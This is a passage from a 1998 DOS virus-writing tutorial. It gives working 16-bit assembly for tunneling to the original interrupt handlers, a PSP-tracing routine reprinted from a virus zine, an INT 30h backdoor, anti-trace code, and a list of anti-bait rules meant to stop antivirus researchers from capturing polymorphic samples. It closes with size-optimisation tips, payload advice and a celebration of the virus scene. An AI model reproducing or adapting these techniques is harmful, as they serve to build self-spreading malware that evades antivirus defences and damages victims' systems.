       mov     es,es:[004Eh]           ; ES:BX
       mov     bp,es
       mov     dx,0070h
       cmp     bp,dx
       jz      nothooked
       jmp     letstunnelit
int2A:
       mov     bx,es:[00A8h]           ; Get INT 13h vectors from the IVT to
       mov     es,es:[00AAh]           ; ES:BX
go4it:
       mov     bp,es
       cmp     dx,bp
       jnz     letstunnelit
nothooked:
       xchg    bx,di
       mov     ah,02h                  ; INT not hooked *yeah* ;)
       ret
letstunnelit:
       call    main_body               ; Go and tunnel it
       sti
       ret
main_body:
       push    es
       push    bx
       cmp     al,07h                  ; Check for recursion
       jz      exit
       cmp     ah,01h                  ; Found ?
       jz      exit
       inc     al
       mov     cx,0FFFAh
       sub     cx,bx
main_loop:
       push    bx
       cmp     byte ptr es:[bx],0E8h   ; Is OpCode a CALL ?
       jz      callsig16
       cmp     byte ptr es:[bx],0EAh   ; Is it a JUMP OFFSET:SEGMENT ?
       jz      far_stuff
       cmp     byte ptr es:[bx],09Ah   ; Is it a CALL FAR ?
       jz      far_stuff
       cmp     byte ptr es:[bx],02Eh   ; A Segment Override CS maybe ?
       jnz     jmpfar
       cmp     byte ptr es:[bx+01],0FFh ; A JUMP FAR ?
       jnz     jmpfar
       cmp     byte ptr es:[bx+02],01Eh ; PUSH DS ?
       jz      far_stuff2
       cmp     byte ptr es:[bx+02],02Eh ; CS ? ( again )
       jnz     jmpfar
far_stuff2:
       mov     bp,es:[bx+03]
       dec     bp
       xchg    bx,bp
       jmp     far_stuff
jmpfar:
       pop     bx
       cmp     ah,01h                  ; Found ?
       jz      exit
       cmp     al,07h                  ; Check for recursion
       jz      exit
       inc     bx
       loop    main_loop               ; And loop it
callsig16:
       pop     bx
       add     bx,03h
       loop    main_loop
exit:
       pop     bx
       pop     es
       ret
far_stuff:
       pop     bp
       add     bp,04h
       push    bp
       cmp     es:[bx+03],dx
       jz      found
       cmp     word ptr es:[bx+03],00h
       jz      jmpfar
       push    es
       pop     bp
       cmp     es:[bx+03],bp
       jz      jmpfar
       mov     bp,bx
       mov     bx,es:[bx+01]           ; Where it points
       mov     es,es:[bp+03]
       call    main_body
       jmp     jmpfar
found:
       mov     di,es:[bx+01]
       mov     ah,01                   ; INT 21 found
       jmp     jmpfar
end     tunnel
;���[ CUT HERE ]��������������������������������������������������������������

I you want the full package, search for it. It's very easy to find.
But the KRTT isn't safe. " FUCK! " you can think. The tunneling seems to be
a very unsafe and fragile tecnique. This happens only in this old tecniques.
The KRTT will suck if the control is returned by another instruction that
isn't the four implemented. It's very easy to call INT 21h with a conditional
jump or a RETF, and this will fuck us. And this tecnique MUST be recursive,
due its nature.

PSP tracing
�����������

If you remember the VERY important structure that was PSP, and you see the
description of this same document about the offset 0005, you will think...
" What the hell is this of the FAR CALL to the INT 21 ?". This offset of the
PSP is quite obsolete, it's only preserved for compatibility with very old
programs. But it contains very interesting data, like INT 21h dispatcher.
The INT 21h dispatcher ain't the INT 21h handler, don't forget it. As Satan's
Little Helper said, the offset PSP:6 can point directly to the dispatcher, or
point indirectly, that requires some playing with the double nop call to the
first one.
The below routine is from VLAD#3 ( whatta good group! ), an article written
by Satan's Little Helper, that shown the way for get INT 21h address by
using PSP.

;���[ CUT HERE ]��������������������������������������������������������������
; PSP tracing routine by Satan's Little Helper
; Published in VLAD#3
;
; INPUT:
;        DS                  PSP segment
; OUTPUT:
;        DS:BX               INT 21h address
;        CF                  0
; if tunnel failed:
;        DS:BX               0000:0000
;        CF                  1

psp_trace:
       lds     bx,ds:[0006h]           ; a pointer to dispatch handler
trace_next:
       cmp     byte ptr ds:[bx],0EAh   ; JMP SEG:OFF ?
       jnz     check_dispatch
       lds     bx,ds:[bx+1]            ; point to the SEGMENT:OFFSET
       cmp     word ptr ds:[bx],9090h
       jnz     trace_next
       sub     bx,32h                  ; 32h byte offset from dispatch
                                       ; handler
       cmp     word ptr ds:[bx],9090h  ; If all is OK, INT 21h has this
       jnz     check_dispatch          ; signature ( 2 NOPs )
good_search:
       clc
       ret
check_dispatch:
       cmp     word ptr ds:[bx],2E1Eh  ; PUSH DS, CS: ( prefix )
       jnz     bad_exit
       add     bx,25h
       cmp     word ptr ds:[bx],80FAh  ; CLI, PUSH AX
       jz      good_search
bad_exit:
       stc
       ret
;���[ CUT HERE ]��������������������������������������������������������������

Preety simple and effective. Test it! And, with the skeleton of the PSP tra-
cing we can use another method, the INT 30h backdoor.
The PSP tracing is better than the normal tracing, because in the second one
we don't know if we're executing the code of an AV, and using the PSP this
can't occur.

INT 30h backdoor
����������������

This is very easy, if you undertood the above technique. The INT 30h has code
to jump to the dispatcher, so we can put something like this:

       xor     bx,bx
       mov     ds,bx
       mov     bl,0C0h                 ; INT 30h offset in IVT
       jmp     trace_next

Advanced tunneling
������������������

Ahhh... the same shit of all this document: i don't want to make your head
explode with too much knowledge. There're techniques much more safe, cool,
new... but they're too much hard, and it implementation in this document
would suck a hugh amount of your hard disk :) The best technique for me is
the used by Code Analyzers.

��Ĵ Anti-tunneling ����������������������������������������������������������

Tunneling tecniques are also used by the ShitWare ( AntiViruses ) for install
its products, and all our efforts in order to catch the original INT 21h
vectors will suck, coz they're using the same weapons that we use. And we
don't like this. Also, other viruses can tunnel us, and this ain't cool. The
system is OURS, and no one else! :)
As ShitWare uses routines for detect if someone is tracing, we can use their
own routines in order to fight againist them: they're unprotected to this.
As we used a routine to activate the trap flag tor tracing... Could we use
another for deactivate it? Sure. It's very simple. Instead using a OR for
activate it, for deactivate we must use an AND.

       pushf
       pop     ax
       and     ah,11111110h
       push    ax
       popf

Ain't it charming? :) With this shit we've fucked their attempt to steal OUR
INT 21h. But... what if we want to know if there's someone trying to steal
it? This routine is stolen from this same document, from ARMOURING chapter.

       push    ax
       pop     ax
       dec     sp
       dec     sp
       pop     bx
       cmp     ax,bx
       jz      not_traced
       jmp     $                       ; If traced, freeze the processor
not_traced:
       [...]

A nice attitude: be lamer with his own stuff :)
This chapter is an extension of the TUNNELING chapter. So... with this two
simple routines, and a little bit of good luck, you can go so far away :)

��Ĵ Anti-bait ���������������������������������������������������������������

The baits/sacrifical goats are programs that don't do anything. And you will
wonder why... They use this programs for catch the viruses, that will infect
them. And, they will have a copy of our virus :(
But our great problem is when our virus is polymorphic. They will infect
about 10 thousands of this files in order to search for a realiable scan
string and/or algorithm that catch about all the possible mutations. Of cour-
se, if we add code to simply refuse the infection for this programs, we're
fucking them ( it's boring to fuck always the same people, but they work
fucking ours... ) ;)
There are some points you can follow for don't allow ( or make hard ) our
virus to infect a bait:

- Don't infect files at least < 5000, or better, refuse < 10000. So we're
making AV to create 10000 baits, of 10000 bytes each one. So they will need
at least 100 megs for our virus :)

- Don't infect files with numbers in its name. Baits are ussually called
"00000000.COM", "00000001.COM" and such like.

- Don't infect files with consecutive names. This can seem the same than
the above. Not. If they see that our virus don't infect the files with num-
bers, they will create files like "AAAAAAAA.COM", "AAAAAAAB.COM" and shit
like this.

- Don't infect consecutive files with the same size. This is another strain
of the above two methods.

- Don't infect the files with today's date. About all the executable files
are in one computer for some days and/or moths. It's very rare to find
files with today's date ( well, not at all, but about all the baits have
this date ).

- Catch a timer interrupt, or whatever you want in order to avoid the infec-
tion of files in at least 10 minutes. Just imagine one situation... an AVer
is trying to get a scan string for our virus. We've implemented all the
above anti-bait tecniques in our virus, and the AVer will reboot a lot of
times for see what triggers the refuse of the virus. And, if each boot we
make him to wait 10 minutes... He will waste a lot of time in our virus :)

- Don't infect files at root directory. A lot of bait generators make their
baits at root directory, so they're fucked again :)

- Don't infect files with zero-jumps and calls: This are only used by baits
and PERs, so... Search for all E9 00 00, E8 00, [70..7F] 00, and such like.

- Of course, check for a lot of NOPs, XCHGs with the same register ( XCHG
AX,AX ), moves with the same register...

- Check for a huge amount of 0 bytes, or consecutive INCs/DECs with the same
register... When you've seen a program that makes a INC DX followed by a
DEC DX ???

- Detect if the first thing the file executes is a MOV AX,4C00h/INT 21h or
a INT 20h.

If a virus has implemented at least 5 of this things in its code, be sure
that it'll be higly anti-bait.

��Ĵ Optimization ������������������������������������������������������������

There are two kinds of optimization: structural and local. In this little
chapter i'll talk about the two kinds. But first you must understand one
thing: never optimize your code until it's full-working. If you begin to
optimize a code that don't works, ther'll be a lot of more things that will
make it don't work, you'll try to fix it, and you'll make more and more
mistakes... a neverending loop of shit :)

Structural optimization
�����������������������

This is the most effective, and the more hard to do and understand. This
kinda optimization can be easily unserstand by using a paper, and writing
there the algorithm of your virus. We haven't here paper, so let's imaginate
a situation... imagine you, on yer virus, open the file first for read only,
close, open again for read/write, and close again. This is a waste of bytes.
For this kind of optimization, you must think a lot about what things can
you change and save bytes, and what things don't. The solutions must be
custom-made to your problems.

Local optimization
������������������

This is the easiest way, however it can save a lot of bytes tho. It consist
in change some code lines individually to another ones that do the save job,
using less bytes.

� Clearing Registers:

       mov     bx,0000h                ; 3 bytes
       xor     bx,bx                   ; 2 bytes
       sub     bx,bx                   ; 2 bytes

So, never use the first one, and choose one of the other ways. There is a
register that can be cleared by other way: DX. Let's see:

       mov     dx,0000h                ; 3 bytes
       xor     dx,dx                   ; 2 bytes
       sub     dx,dx                   ; 2 bytes
       cwd                             ; Convert word to dword ( 1 byte )

The CWD will ONLY work if AX content is less that 8000h. There is a way to
clear AH with a one-byter: if AL < 80h you can use the CBW instruction.

� Comparisons:

There's a very well know way by all us, that is to use the instruction
developed specially for this: the CMP. For compare two register, you can
use two ways with the same result, and no savings:

       cmp     ax,bx                   ; 2 bytes
       xor     ax,bx                   ; 2 bytes

But we can only use XOR in all the cases if we want only know if the values
are EQUAL. However, we CAN save bytes if we use xor instead cmp when compa-
ring a register with an immediate value:

       cmp     ax,0666h                ; 3 bytes
       xor     ax,0666h                ; 2 bytes

But, due the nature of XOR instruction, we can't use it for know if a reggie
is clear. But here comes OR to save us...

       cmp     ax,0000h                ; 3 bytes
       or      ax,ax                   ; 2 bytes

� Optimized reggie - AX:

You can use it for comparisons:

       cmp     bx,0666h                ; 4 bytes
       cmp     ax,0666h                ; 3 bytes

And you can move AX to another register in a very optimized way:

       mov     bx,ax                   ; 2 bytes
       xchg    ax,bx                   ; 1 byte

You can do this is the values of AX and BX before the change are unimportant.
This is really good for put after a file open, coz the file handle is better
in BX.

� String operands:

Each string operand ( MOVS, STOS, SCAS... ) is the optimized way for perform
some actions. Let's see for what purposes can you use it:

- MOVS: A movement from the position DS:[SI] to ES:[DI]

       les     di,ds:[si]              ; 3 bytes

       movsb                           ; If we want a byte ( 1 byte )
       movsw                           ; If we want a word ( 1 byte )
       movsd                           ; If we want a dword ( 2 bytes )[386+]

- LODS: Put in accumulator the value of the position DS:[SI]

       mov     ax,ds:[si]              ; 2 bytes

       lodsb                           ; If we want a byte ( 1 byte )
       lodsw                           ; If we want a word ( 1 byte )
       lodsd                           ; If we want a dword ( 2 bytes )[386+]


- STOS: Put in accumulator the value of the position ES:[DI]

       les     di,al                   ; Can't do this!
       les     di,ax                   ; Can't do this!

       stosb                           ; If we want a byte ( 1 byte )
       stosw                           ; If we want a word ( 1 byte )
       stosd                           ; If we want a dword ( 2 bytes )[386+]

- CMPS: Compares the value in DS:[SI] with the value in ES:[DI]

       cmp     ds:[si],es:[di]         ; Can't have 2 segment overrides!

       cmpsb                           ; If we want a byte ( 1 byte )
       cmpsw                           ; If we want a word ( 1 byte )
       cmpsd                           ; If we want a dword ( 2 bytes )[386+]

- SCAS: Compares the value of accumulator with ES:[DI]

       cmp     ax,es:[di]              ; 3 bytes

       cmpsb                           ; If we want a byte ( 1 byte )
       cmpsw                           ; If we want a word ( 1 byte )
       cmpsd                           ; If we want a dword ( 2 bytes )[386+]

� 16 bit registers:

Ussually, it's more optimized the usage of 16 bit register than the 8 bit
ones. Let's see an example with MOV instruction:

       mov     ah,06h                  ; 2 bytes
       mov     al,66h                  ; 2 bytes ( 4 bytes total )

       mov     ax,0666h                ; 3 bytes

It's more optimized to increase/decrease any 16 bit register:

       inc     al                      ; 2 bytes
       inc     ax                      ; 1 byte

       dec     al                      ; 2 bytes
       dec     ax                      ; 1 byte

� Bases and segments:

The movement from another segment to another can't be done directly, so we
must to play some with it:

       mov     es,ds                   ; Can't do this!

       mov     ax,ds                   ; 2 bytes
       mov     es,ax                   ; 2 bytes ( 4 bytes total )

       push    ds                      ; 1 byte
       pop     es                      ; 1 byte ( 2 bytes total )

Use DI/SI is more enhaced than the use of BP.

       mov     ax,ds:[bp]              ; 4 bytes
       mov     ax,ds:[si]              ; 3 bytes

� Procedures:

If you use a routine a lot of times, you must think about the possibility of
make a procedure. This can optimize your code. However, the bad use of the
procedures can invert our needs: the code will grow. So, if you wanna know
if the conversion of a routine to a procedure save bytes, you can use this
little formula:

X = [rout. size - (CALL size + RET size)] * number of calls - rout. size

The CALL size + RET size means 4 bytes. The X will be the bytes we save.
Let's see the tipical function that saves some bytes, the file pointer move-
ment:

fpend: mov     ax,4202h                ; 3 bytes
fpmov: xor     cx,cx                   ; 2 bytes
       cwd                             ; 1 byte
       int     21h                     ; 2 bytes
       ret                             ; 1 byte

We have 8 bytes plus CALL size... 11 bytes. Let's see if this will optimize
our code:

X = [ 7 - ( 3 + 1 ) ] * 3 - 7
X = 2 bytes saved

This is a invented calculation, of course. You can call this routine more
than 3 times ( or less ), make its size different, and many more things.

� Last tips for local optimization:

- Use SFTs. In this structure you've a lot of useful information, and you can
manipulate it without any problem.

- Make your compiler pass trough the code at least 3 times for eliminate
all unnecessary NOPs and other shit.

- Use stack.

- It's more optimized to use the LEA instruction that use the MOV offset.

��Ĵ Appendix 1 : The new school ���������������������������������������������

No, don't begin to scream here :) I won't explain in this document the PE
header fields and such like. I couldn't finish this tutorial without talking
something about the new school, and the new kinda virus writers it's recrui-
ting. I'm not one of this sucker that believe this shit of " DOS forever ".
I'd like this statement, but the new 32 bit ( new? ) enviroments are sucking
all the virus actuality. But there's a lack of virus coders, discussed themes
and tutorials... Ain't easy to begin to write 32 bit viruses without previous
knowldege. I hope that this will solved soon by the virus researchers, like
29A, or iKX coders.

��Ĵ Appendix 2 : Payloads ���������������������������������������������������

You must work in your payload, because it'll be the only thing that the user
will see of your virus. A payload that only trash the HD, or wipe files isn't
original, and it denotes that the user can't do better things. If you wanna
destroy, your work isn't in the virus scene: the trojans are very easy to
code so dedicate your efforts to the trojan developement <g>
I'm not saying that i refuse all kinds of destruction. But it must be reser-
ved for special moments, like if someone is trying do debug the virus or
something. I think that isn't good to make other people the things we don't
want happen to us.
You have good examples of originality in viruses like Elvira, Cascade,
Claudia Schiffer ( hehehe ;), Ambulance...

��Ĵ Last words ��������������������������������������������������������������

You can think that write this document was a pain for me. No, i've really
enjoyed the time i've used to write this little tutorial. I hope you enjoyed
its read :)
My objective was to make a complete tutorial, beginning at the runtime com
infection, and talking about some cool techniques like polymorphism and
tunneling. I made this with the objective to taugth some people, and, at the
same time taught myself about a lot of things. Now, it's your time, not mine.
Remember where did you learn :)
After saying goodbye, i must send greets to some people, the ones that helped
me and the ones i admire. As I said in my presentation, this tutorial is
highly dedicated to zAxOn ( hehehe... i wrote your nick in a rare way ;), the
one that received all my telephone calls for questions like " How i can open
a file? ", or " What is this program... the PKZIP? " in my earlier steps in
the computing world. He listened with a good attitude all my projects, dreams
and else. It's good to have friends like him :)
This document is also dedicated to this people that make big efforts for
teach the people that is interested in VX, with dreams of fame <g> and else.
It's a way for assure the future of the virus scene... VX FOREVER!
Of course, i must make a special mention to Dark Angel, Dark Avenger, GriYo,
b0z0, OWL, MrSandman, Hellraiser, and all the people who rocked and still
rocking the world making this little misunderstood forms of life, automatas,
that are always labeled as " bad " things. You know what ignorance does.

Valencia, 11 of September, 1998.

Billy Belceb�,
killing mass and kicking ass.